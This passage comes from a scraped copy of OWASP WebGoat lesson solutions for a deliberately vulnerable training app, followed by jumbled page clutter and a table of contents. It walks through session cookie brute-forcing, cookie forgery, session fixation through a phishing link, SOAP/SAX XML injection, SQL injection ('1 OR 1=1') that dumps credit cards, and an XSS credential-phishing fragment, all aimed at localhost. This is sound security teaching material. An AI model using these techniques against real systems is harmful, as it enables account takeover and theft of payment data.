forced using Crowbar. You know the previous timestamp and the next timestamp so you have a start and end
value.
You can download Crowbar for free: http://www.sensepost.com/research/crowbar/
There is a value 16935 and a value 16937 with a numeric difference of 28110 instead of 14109, so there the
WEAKID cookie is located. Copy and paste the raw HTTP request in Crowbar:
Figure 3 Crowbar
Change target to localhost and adjust the port.

Create a Base response. Make sure that you see "How to hijack a session" in the middle window.
Insert ##1## in the WEAKID parameter where you want to brute-force the value and be aware, that the first part
of the WEAKID is the one we are searching for (16936). The WEAKID in Crowbar lookes like this: Cookie:
JSESSIONID=...; WEAKID=16936-1163685##1##;
Start the first loop at 363093, the last digits of the last cookie before the authentication cookie and 363203, the
first cookie after the authentication cookie. You have to enter these two values in the Parameter1 fields. We have
to brute-force these values, but we are sure that they lie between these two boundaries.
Examine the results until you see a different fuzzy logic value (the blue line in Figure 3), right-click it and click on
"Show reply".
Lesson Plan Title: How to Spoof an Authentication Cookie

Many applications will automatically log a user into their site if the right authentication cookie is specified. Some
times the cookie values can be guessed if the algorithm for generating the cookie can be obtained. Some times
the cookies are left on the client machine and can be stolen by exploiting another system vulnerability. Some
times the cookies maybe intercepted using Cross site scripting. This lesson tries to make the student aware of
authentication cookies and presents the student with a way to defeat the cookie authentication method in this
lesson.
General Goal(s):
The user should be able to bypass the authentication check.
Solution:
Make sure that you have "Show Cookies" enabled in WebGoat. And you need to disable the feature "Inject know
cookies into requests" in WebScarab otherwise WebScarab will always inject your old cookie and not the new
cookie.
Figure 1 Disable "Inject known cookies into requests"
Figure 2 Logon with webgoat/webgoat
You can login with webgoat/webgoat.

Figure 3 Logged on as webgoat
Hit "Refresh". This refresh will show our AuthCookie. And you are now authenticated using this cookie and not
with parameters like above.
There is a new cookie called AuthCookie with values 65432ubphcfx. Logout and login with aspect/aspect.
Figure 4 Logon as aspect/aspect
Figure 5 Logged on as aspect
Hit "Refresh" to see the new cookie.

Figure 6 Cookie for user aspect
You have now a different cookie value for AuthCookie: 65432udfgfb
webgoat ubphcfx
Aspect udfgfb
This is an transposition of the letters of the alphabet. Each letter is replaced with its successor, for example t->u,
a->b and the user name is reversed. So for user name alice the cookie will contain the reversed user name ecila
and the successors of the letters. This results in fdjmb.
Login with user name alice and intercept the request in WebScarab. Add AuthCookie=65432fdjmb to the existing
cookie JSESSIONID.
Figure 7 Add AuthCookie to request

Lesson Plan Title: Session Fixation

How to steal a session with a 'Session Fixation'

A user is recognized by the server by an unique Session ID. If a user has logged in and is authorized he does not have to
reauthorize when he revisits the application as the user is recognized by the Session ID. In some applications it is possible to
deliver the Session ID in the Get-Request. Here is where the attack starts.
An attacker can send a hyperlink to a victim with a chosen Session ID. This can be done for example by a prepared mail
which looks like an official mail from the application administrator. If the victim clicks on the link and logs in he is
authorized by the Session ID the attacker has chosen. The attacker can visit the page with the same ID and is recognized as
the victim and gets logged in without authorization.
General Goal(s):
This lesson has several stages. You play the attacker but also the victim. After having done this lesson it should be
understood how a Session Fixation in general works. It should be also understood that it is a bad idea to use the Get-Request
for Session IDs.
Solution:
This lesson has 4 stages. In stage 1 and 4 you are Hacker Joe in lesson 2 and 3 you are the victim Jane.
Stage 1:
You have to send a prepared mail to Jane which looks like a mail from Goat Hills Financial with a link containing a Session
ID. The mail is already prepared. You only have to alter the link so it includes a Session ID (SID). You can archive this by
adding &SID=WHATEVER to the link. Of course can WHATEVER be replaced by any other string. The link should look
similar to following:
<a href=http://localhost/WebGoat/attack?Screen=46&menu=320&SID=WHATEVER>
Figure 1: Prepared Mail
Stage 2:
Now you are Jane which receives the mail you wrote in stage 1. Point with the mouse on the link and you will notice the SID
in the status bar of your browser. This is the easiest stage as you have only to click on the link 'Goat Hills Financial'.
Figure 2: Received Mail
Stage 3:
You are on the login screen of Goat Financial Hills now. In the URL is the SID visible. All you have to do is to log in with
your user name Jane and your password tarzan.
Figure 3: Goat Hills Financial Login Screen
Stage 4:
The application switches again to the hacker Joe. There is already a prepared link you have to click on to reach the Goat Hill
Financial. In real life this would be different of course. You could directly put the URL in the address bar of your browser.
After having clicked on the provied link you reach Goat Hill Financial. Take a look at the URL and you will see that your
SID is NOVALIDSESSION. Change this string to the SID you have chosen at the beginning of this lesson and hit enter.
Figure 4: Browser Address Bar Before Changes

Figure 5: Browser Address Bar After Changes
Congratulation! You are logged in as Jane and the lesson was successful.
Figure 6: Successful Completion Of The Lesson

======================
Lesson Plan Title: How to Create a SOAP Request

Web Services communicate through the use of SOAP requests. These requests are submitted to a web service
in an attempt to execute a function defined in the web service definition language (WSDL). Let's learn something
about WSDL files. Check out WebGoat's web service description language (WSDL) file.
General Goal(s):
Try connecting to the WSDL with a browser or Web Service tool. The URL for the web service is:
http://localhost/WebGoat/services/SoapRequest The WSDL can usually be viewed by adding a ?WSDL on the
end of the web service request.
Figure 1 - Lesson 21
Solution:
Click on the URL "WebGoat WSDL" to examine the Webservices Description Language file.
Figure 2 - WSDL
Count the number of operations like getFirstName. There are 4 operations defined.
Figure 3 Enter the ID
For the next question the getFirstNameRequest method uses an int as parameter type. Enter int and click
"Submit".
Figure 4 Stage 2 Completed
Intercept the HTTP Request with WebScarab and click on the ?Raw? tab. Make sure that ?Intercept Responses?
is selected.
1. Change the POST header to open the SoapRequest.

2. Change the Content-Type to text/xml.
3. Add a header SOAPAction.
4. Append the XML envelope to the request
POST http://neo:80/WebGoat/services/SoapRequest HTTP/1.1

Content-Type: text/xml
SOAPAction:
<?xml version="1.0" encoding="UTF-8"?>

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<SOAP-ENV:Body>
<ns1:getFirstName SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:ns1="http://lessons">
<id xsi:type="xsd:int">101</id>
</ns1:getFirstName>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
The response is Joe.

Figure 5 Intercept response
Lesson Plan Title: How to Perform WSDL Scanning

in an attempt to execute a function defined in the web service definition language (WSDL) file.
General Goal(s):
This screen is the API for a web service. Check the WSDL file for this web service and try to get some customer
credit numbers.
Figure 1 Lesson 22
Solution:
Open the WSDL file in a new window. There is an operation getCreditCard.
Intercept the request with WebScarab and change the parameter to getCreditCard
Figure 2 WebScarab raw request
Lesson Plan Title: How to Perform Web Service SAX Injection

General Goal(s):
Some web interfaces make use of Web Services in the background. If the frontend relies on the web service for
all input validation, it may be possible to corrupt the XML that the web interface sends.
In this exercise, try to change the password for a user other than 101.
Solution:
To succeed this lesson it is required to reset the password of the user with a different user-ID then 101 (which is
your user-ID)
.
When you fill out a password and click on "Go!" the following XML request will be created, submit and parsed by
the SAX parser:
<?xml version='1.0' encoding='UTF-8'?>

<wsns0:Envelope
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'
xmlns:xsd='http://www.w3.org/2001/XMLSchema'
xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/'
xmlns:wsns1='http://lessons.webgoat.owasp.org'>
<wsns0:Body>
<wsns1:changePassword>
<id xsi:type='xsd:int'>101</id>
<password xsi:type='xsd:string'>[password]</password>
</wsns1:changePassword>
</wsns0:Body>
</wsns0:Envelope>
SAX parsers will parse anything that is well-formed, meaning that there are matching end and close tags and that
the schema is correct. When you are able to add a new changePAssword element with corresponding id tag and
password tag, the SAX parser will be more than happy to change the password for the user-ID provided.
So you need to have something like this as a final result:
<?xml version='1.0' encoding='UTF-8'?>

<wsns0:Envelope
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'
xmlns:xsd='http://www.w3.org/2001/XMLSchema'
xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/'
xmlns:wsns1='http://lessons.webgoat.owasp.org'>
<wsns0:Body>
<password xsi:type='xsd:string'>[password]</password>
<password xsi:type='xsd:string'>notforyoutoknow</password>
</wsns0:Body>
</wsns0:Envelope>
This requires to inject:

newpassword</password>
<password xsi:type='xsd:string'>notforyoutoknow
There are field-limitations in the HTML input field, so it is required to intercept the HTTP Request with
WebScarab and replace the parameter password with the payload.
Enter a password 'test' and click "Go!".
Figure 113 Reset password with test
Intercept the request in WebScarab and replace the string test with the payload.
Figure 114 Intercept request
Figure 115 Inject XML payload

Lesson Plan Title: How to Perform Web Service SQL Injection

General Goal(s):
Check the web service description language (WSDL) file and try to obtain multiple customer credit card numbers.
You will not see the results returned to this screen. When you believe you have suceeded, refresh the page and
look for the 'green star'.
Solution:
This lesson can be solved easily by using a web services tool called SOAPUI. But here you will only use
WebScarab. Go in WebScarab to the tab "Web Services". You will see a history of invoked web services or
WSDL files.
Figure 1 Lesson 23
Open the WebGoat WSDL file for this lesson (WsSqlInjection?WSDL) in a new window.
In WebScarab you can select this WSDL from the top drop-down box. And WebScarab will parse the XML file so
you can select the operations to invoke. Then you can enter a value for the parameters used to invoke the
operation. For example fill out the integer 101 for the ID value and click "Execute". WebScarab will pop-up a
basic authentication window. Enter username:guest, password:guest and host:localhost then click "Ok". If the
pop-up does not appear you have to go to "Tools" > "Credentials". There you should activate "Ask when
required".
Figure 2 Basic authentication
Figure 3 Webservice Response
What happens if you change 101 to 1 OR 1=1? Will you get all the credit cards?
Yes 
Figure 4 All the credit cards
Remark: when you don't get any responses you might want to select the service and operation again from the
drop-down box. A nice feature here would be the ability to make a raw SOAP request.

Security Testing

Uploaded by

Copyright:

Available Formats

Security Testing

Uploaded by

Document Information

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

Security Testing

Uploaded by

Copyright:

Available Formats

• Code Quality

• Access Control Flaws

• Session Management Flaws

• Cross-Site Scripting (XSS)

• Improper Error Handling

Lesson Plan Title: How to Exploit Thread Safety Problems

Concept / Topic To Teach:

Lesson Plan Title: Shopping Cart Concurrency Flaw

Concept / Topic To Teach:

Lesson Plan Title: How to Exploit Hidden Fields

Concept / Topic To Teach:

How to Exploit Unchecked Email

Concept / Topic To Teach:

The user should be able to send and obnoxious email message.

Plan Title: How to Bypass Client Side JavaScript Validation

Concept / Topic To Teach:

Access Control Flaws

Using an Access Control Matrix

Concept / Topic To Teach:

How to Bypass a Path Based Access Control Scheme

Concept / Topic To Teach:

Role Based Access Control

Concept / Topic To Teach:

Stage 1: Bypass Business Layer Access Control

Stage 2: Add Business Layer Access Control

Stage 3: Bypass Data Layer Access Control

Stage 4: Add Data Layer Access Control

How to Force Browser Web Resources

Concept / Topic To Teach:

How to Exploit the Forgot Password Page

Concept / Topic To Teach:

Concept / Topic To Teach:

Session Management Flaws

How to Spoof an Authentication Cookie

Concept / Topic To Teach:

The user should be able to bypass the authentication check

How to Hijack a Session

Concept / Topic To Teach:

Try to access an authenticated session belonging to someone else.

Cross-Site Scripting (XSS)

Phishing with XSS

• LAB: Cross Site Scripting

a) Stage 1: Stored XSS

b) Stage 2: Block Stored XSS using Input Validation

c) Stage 3: Stored XSS Revisited

d) Stage 4: Block Stored XSS using Output Encoding

f) Stage 6: Block Reflected XSS

• Stored XSS Attacks

• Reflected XSS Attacks

• Cross Site Request Forgery (CSRF)

• Cross Site Tracing (XST) Attacks

Phishing with XSS

password<form><br><br><HR><H3>This feature requires account

This lesson is an example of how a website might support a phishing attack

Below is an example of a standard search feature.

Using XSS and HTML insertion, your goal is to:

Insert html to that requests credentials

Add javascript to actually collect the credentials

Post the credentials to http://localhost./WebGoat/catcher?PROPERTY=yes...

How to Perform Cross Site Scripting (XSS)